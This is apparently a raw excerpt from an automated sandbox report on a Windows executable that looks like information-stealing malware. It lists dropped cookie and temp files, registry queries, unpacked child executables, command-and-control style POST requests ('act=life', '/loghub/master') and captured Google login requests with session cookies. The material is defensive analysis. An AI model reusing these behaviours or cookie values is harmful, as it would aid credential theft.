[targetUID: 00000000-00001136] "6DB145CFEEC544B1582FED1ADA3370DD" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\6DB145CFEEC544B1582FED1ADA3370DD]- [targetUID: 00000000-00001836] "69C6F6EC64E114822DF688DC12CDD86C" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\69C6F6EC64E114822DF688DC12CDD86C]- [targetUID: 00000000-00000388] "BEC6224B02D155A396218A2504F3EE0B" has type "data"- [targetUID: 00000000-00000388] "A5A31YSL.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\A5A31YSL.txt]- [targetUID: 00000000-00002024] "A3JE1PC1.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\A3JE1PC1.txt]- [targetUID: 00000000-00002024] "84M166QH.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\84M166QH.txt]- [targetUID: 00000000-00002024] "AVMMR1L4.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\AVMMR1L4.txt]- [targetUID: 00000000-00000388] "S057WUR2.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\S057WUR2.txt]- [targetUID: 00000000-00000388] "IE9D1433.htm" has type "gzip compressed data original size modulo 2^32 338"- Location: [%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\37NU00GP\IE9D1433.htm]- [targetUID: 00000000-00002024] "76C4A5585D9099B27A68C7AA37A47AE7" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\76C4A5585D9099B27A68C7AA37A47AE7]- [targetUID: 00000000-00003080] "7OY7MV9M.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\7OY7MV9M.txt]- [targetUID: 00000000-00000388] "3CL5OSP0.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\3CL5OSP0.txt]- [targetUID: 00000000-00000388] "4FIJVJ11.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\4FIJVJ11.txt]- [targetUID: 00000000-00002024] "LU0EYETT.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\LU0EYETT.txt]- [targetUID: 00000000-00003080] "70DAE932E3BCB3C00656A27B544BA9CA" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\70DAE932E3BCB3C00656A27B544BA9CA]- [targetUID: 00000000-00000388] "XDQKMSSB.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\XDQKMSSB.txt]- [targetUID: 00000000-00004032] "646C991C2A28825F3CC56E0A1D1E3FA9" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\646C991C2A28825F3CC56E0A1D1E3FA9]- [targetUID: 00000000-00000388] "DRIC3756.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\DRIC3756.txt]- [targetUID: 00000000-00003056] "GWR07010.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\GWR07010.txt]- [targetUID: 00000000-00002024] "Y9O8P8G5.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\Y9O8P8G5.txt]- [targetUID: 00000000-00000388] "1BQYIIUG.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\1BQYIIUG.txt]- [targetUID: 00000000-00000388] "A9UGPPBR.txt" has type "ASCII text"- [targetUID: N/A] "T2XKY6Y2.txt" has type "ASCII text"- [targetUID: N/A] "30QBAKLT.txt" has type "ASCII text"- [targetUID: N/A] "RNBYH0N8.txt" has type "ASCII text"- [targetUID: N/A] "G97OKREK.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\G97OKREK.txt]- [targetUID: 00000000-00002024] "B0WLF6PG.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\B0WLF6PG.txt]- [targetUID: 00000000-00000388] "DI0LREZD.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\DI0LREZD.txt]- [targetUID: 00000000-00003056] "0H446A3G.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\0H446A3G.txt]- [targetUID: 00000000-00004032] "JVAQ8MR9.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\JVAQ8MR9.txt]- [targetUID: 00000000-00003056] "6RRVGEWT.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\6RRVGEWT.txt]- [targetUID: 00000000-00002024] "FS4D5A5L.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\FS4D5A5L.txt]- [targetUID: 00000000-00000388] "V34A94IK.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\V34A94IK.txt]- [targetUID: 00000000-00003056] "4IRTSWSG.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\4IRTSWSG.txt]- [targetUID: 00000000-00000388] "QH3R35CR.txt" has type "ASCII text"- Location: [%APPDATA%\Microsoft\Windows\Cookies\QH3R35CR.txt]- [targetUID: 00000000-00003080] "bscframe_1_.htm" has type "HTML document ASCII text with no line terminators"- [targetUID: N/A] "1E2DBD58769A756A24A9D033F9B07F3D" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\1E2DBD58769A756A24A9D033F9B07F3D]- [targetUID: 00000000-00004032] "~DF3F95BD8E9BAF956C.TMP" has type "data"- Location: [%TEMP%\~DF3F95BD8E9BAF956C.TMP]- [targetUID: 00000000-00003104] "favicon_6_.ico" has type "MS Windows icon resource - 2 icons 16x16 32 bits/pixel 32x32 32 bits/pixel"- [targetUID: N/A] "search__0633EE93-D776-472f-A0FF-E1416B8B2E3A_.ico" has type "MS Windows icon resource - 1 icon 32x32 32 bits/pixel"- [targetUID: N/A] "favicon_2_.ico" has type "MS Windows icon resource - 1 icon 32x32 32 bits/pixel"- [targetUID: N/A] "favicon_5_.ico" has type "MS Windows icon resource - 1 icon 32x32 32 bits/pixel"- [targetUID: N/A] "8A7891822FCFF127E4EADADE9757112B" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\8A7891822FCFF127E4EADADE9757112B]- [targetUID: 00000000-00001136] "6DB145CFEEC544B1582FED1ADA3370DD" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\6DB145CFEEC544B1582FED1ADA3370DD]- [targetUID: 00000000-00001836] "WH1DTW3F.htm" has type "gzip compressed data original size modulo 2^32 338"- [targetUID: N/A] "bscframe_2_.htm" has type "HTML document ASCII text with no line terminators"- [targetUID: N/A]54:T443,"~DF0046C12E78F31D0D.TMP" has type "data" "~DF7842D18973D07F5F.TMP" has type "data" - Location: [%TEMP%\~DF7842D18973D07F5F.TMP] "~DF491CAD3168313FA7.TMP" has type "data" "~DFE257DCF33B171646.TMP" has type "data" - Location: [%TEMP%\~DFE257DCF33B171646.TMP] "~DF07CD1C404EA2535C.TMP" has type "data" - Location: [%TEMP%\~DF07CD1C404EA2535C.TMP] "~DF991BBF5047903261.TMP" has type "data" - Location: [%TEMP%\~DF991BBF5047903261.TMP] "~DF9FBD5A53893D579D.TMP" has type "data" "~DF745532ABF1EF9B3B.TMP" has type "data" - Location: [%TEMP%\~DF745532ABF1EF9B3B.TMP] "~DF5E96571F03B852C9.TMP" has type "data" "~DFCEF6E8D5BD49EC7D.TMP" has type "data" - Location: [%TEMP%\~DFCEF6E8D5BD49EC7D.TMP] "~DF2B58C5F7ECA0A48B.TMP" has type "data" "~DF96C3EA7F3ADC7216.TMP" has type "data" - Location: [%TEMP%\~DF96C3EA7F3ADC7216.TMP] "~DF607CDB527F74F6C5.TMP" has type "data" - Location: [%TEMP%\~DF607CDB527F74F6C5.TMP] "~DF20C02C07E2AD11A4.TMP" has type "data" "~DF180CD998208A178C.TMP" has type "data" "~DF3F95BD8E9BAF956C.TMP" has type "data" - Location: [%TEMP%\~DF3F95BD8E9BAF956C.TMP]55:T974,"fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE\ASSEMBLYSTORAGEROOTS"; Key: ""; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: ""; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: ""; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "OPEN"; Path: "HKLM"; Key: ""; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\DIAGNOSTICS"; Key: ""; Value: "")56:Te12,"fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "CWDILLEGALINDLLSEARCH"; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "COMPATDLL"; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "00060101.00060101"; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "FA951D632A6B1C8EFB577FC5B43A64B5"; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\WINDOWS ERROR REPORTING\WMR"; Key: "DISABLE"; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SETUP"; Key: "SOURCEPATH"; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION"; Key: "DEVICEPATH"; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US"; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US"; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\DATACOLLECTION"; Key: "COMMERCIALDATAOPTIN"; Value: "") "fa951d632a6b1c8efb577fc5b43a64b5.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "PENDINGFILERENAMEOPERATIONS"; Value: "")57:T70b,"fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to touch file "C:\Windows\SYSTEM32\sechost.dll" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to touch file "C:\Windows\AppPatch\sysmain.sdb" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to touch file "C:\WINSPOOL.DRV" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to touch file "C:\Windows\system32\WINSPOOL.DRV" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to touch file "C:\MPR.dll" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to touch file "C:\Windows\system32\MPR.dll" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to touch file "C:\Windows\Temp\VxOle32.dll" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to touch file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to touch file "\FileSystem\Filters\FltMgrMsg" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\Ia3cO08.exe" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\9yR3LL2.exe" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to touch file "C:\Windows\system32\advpack.dll" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to touch file "\Device\HarddiskVolume2\FA951D632A6B1C8EFB577FC5B43A64B5.EXE.LOCAL" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to touch file "C:\Windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_41e855142bd5705d\comctl32.dll" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to touch file "\Device\HarddiskVolume2\CABINET.DLL" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to touch file "C:\Windows\System32\cabinet.dll"58:T986,"fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to access non-existent file "C:\MPR.dll" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\Ia3cO08.exe" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\9yR3LL2.exe" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to access non-existent file "\Device\HarddiskVolume2\CABINET.DLL" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to access non-existent file "\Device\HarddiskVolume2\VERSION.DLL" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to access non-existent file "\Device\HarddiskVolume2\SSPICLI.DLL" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to access non-existent file "\Device\HarddiskVolume2\UXTHEME.DLL" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to access non-existent file "\Device\HarddiskVolume2\WINMM.DLL" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to access non-existent file "\Device\HarddiskVolume2\SAMCLI.DLL" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to access non-existent file "\Device\HarddiskVolume2\MSACM32.DLL" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to access non-existent file "\Device\HarddiskVolume2\SFC.DLL" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to access non-existent file "\Device\HarddiskVolume2\SFC_OS.DLL" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to access non-existent file "\Device\HarddiskVolume2\DWMAPI.DLL" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to access non-existent file "\Device\HarddiskVolume2\FLTLIB.DLL" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\API-MS-WIN-CORE-FIBERS-L1-1-1.DLL" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\System32\API-MS-WIN-CORE-LOCALIZATION-L1-2-1.DLL" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to access non-existent file "\Device\HarddiskVolume2\MPR.DLL" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\IA3CO08.EXE"59:T9a6,"fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to access non-existent file "C:\WINSPOOL.DRV" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to access non-existent file "\Device\HarddiskVolume2\FA951D632A6B1C8EFB577FC5B43A64B5.EXE.LOCAL" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to access non-existent file "\Device\HarddiskVolume2\FA951D632A6B1C8EFB577FC5B43A64B5.EXE.CONFIG" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to access non-existent file "\Device\HarddiskVolume2\WINSPOOL.DRV" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to access non-existent file "C:\fa951d632a6b1c8efb577fc5b43a64b5.exe.Local\" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to access non-existent file "C:\fa951d632a6b1c8efb577fc5b43a64b5.exe.Config" "fa951d632a6b1c8efb577fc5b43a64b5.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" "Ia3cO08.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\WINSPOOL.DRV" "Ia3cO08.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\Ia3cO08.exe.Local\" "Ia3cO08.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\Ia3cO08.exe.Config" "Ia3cO08.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" "Ia3cO08.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\WINSPOOL.DRV" "Ia3cO08.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\IA3CO08.EXE.LOCAL" "Ia3cO08.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\IA3CO08.EXE.CONFIG" "Ia3cO08.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" "QX6jY18.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\QX6jY18.exe.Local\" "QX6jY18.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\WINSPOOL.DRV" "QX6jY18.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\QX6jY18.exe.Config" "QX6jY18.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP"5a:T59f,"AppLaunch.exe" called "WinHttpSendRequest" with parameters {"hRequest": "339c00" "lpszHeaders": "Content-Type: application/x-www-form-urlencoded" "dwHeadersLength": "4294967295" "lpOptional": "act=life" "dwOptionalLength": "8" "dwTotalLength": "8" "dwContext": "0" "$error": "2ee7"} "AppLaunch.exe" called "WinHttpSendRequest" with parameters {"hRequest": "33c758" "lpszHeaders": "Content-Type: application/x-www-form-urlencoded" "dwHeadersLength": "4294967295" "lpOptional": "act=life" "dwOptionalLength": "8" "dwTotalLength": "8" "dwContext": "0"} "AppLaunch.exe" called "WinHttpSendRequest" with parameters {"hRequest": "39aa38" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "532" "dwContext": "0"} "AppLaunch.exe" called "WinHttpSendRequest" with parameters {"hRequest": "390f70" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "532" "dwContext": "0"} "AppLaunch.exe" called "WinHttpSendRequest" with parameters {"hRequest": "36c060" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "532" "dwContext": "0"} "AppLaunch.exe" called "WinHttpSendRequest" with parameters {"hRequest": "b84fc8" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "532" "dwContext": "0"} "AppLaunch.exe" called "WinHttpSendRequest" with parameters {"hRequest": "390d88" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "532" "dwContext": "0"}5b:T5ba,Found http requests in header "POST /loghub/master" Found http requests in header "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D" Found http requests in header "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D" Found http requests in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEFumwYk78npkEGIa84czXqQ%3D" Found http requests in header "GET //MEowSDBGMEQwQjAJBgUrDgMCGgUABBSLwZ6EW5gdYc9UaSEaaLjjETNtkAQUv1%2B30c7dH4b0W1Ws3NcQwg6piOcCCQCnDkpMNIK3fw%3D%3D" Found http requests in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D" Found http requests in header "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEkpLy9ROx7U76vGUhC06D6E%3D" Found http requests in header "GET /rootca1.crl" Found http requests in header "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQDVmzu%2BcVBN4gnIj8OT7hC4" Found http requests in header "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRmbQtwnInkvkvr7BNFR%2BS2lTYPjAQUwDFSzVpQw4J8dHHOy%2Bmc%2BXrrguICEAxnRZO2jQMmUC0dFSq96X0%3D" Found http requests in header "GET /r2m02.crl" Found http requests in header "POST /api"5c:T4f47,Found requests in header "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:Kjs7MzJFVEMfogIinIrjQRSv0nEgaQ:mLdjOpr27Sx6_PE3Connection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyzURLWHcKfzUisoZTTCX94C38kCKw8Inv5mv5hFiLR5y6SFPV5zR_Pd41NgG8b7FmAi2A2LMg HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:ymZRAemFruadtEwjL5QVbq-zSh0iFg:IlW1hMx6yF9ml4lLConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET 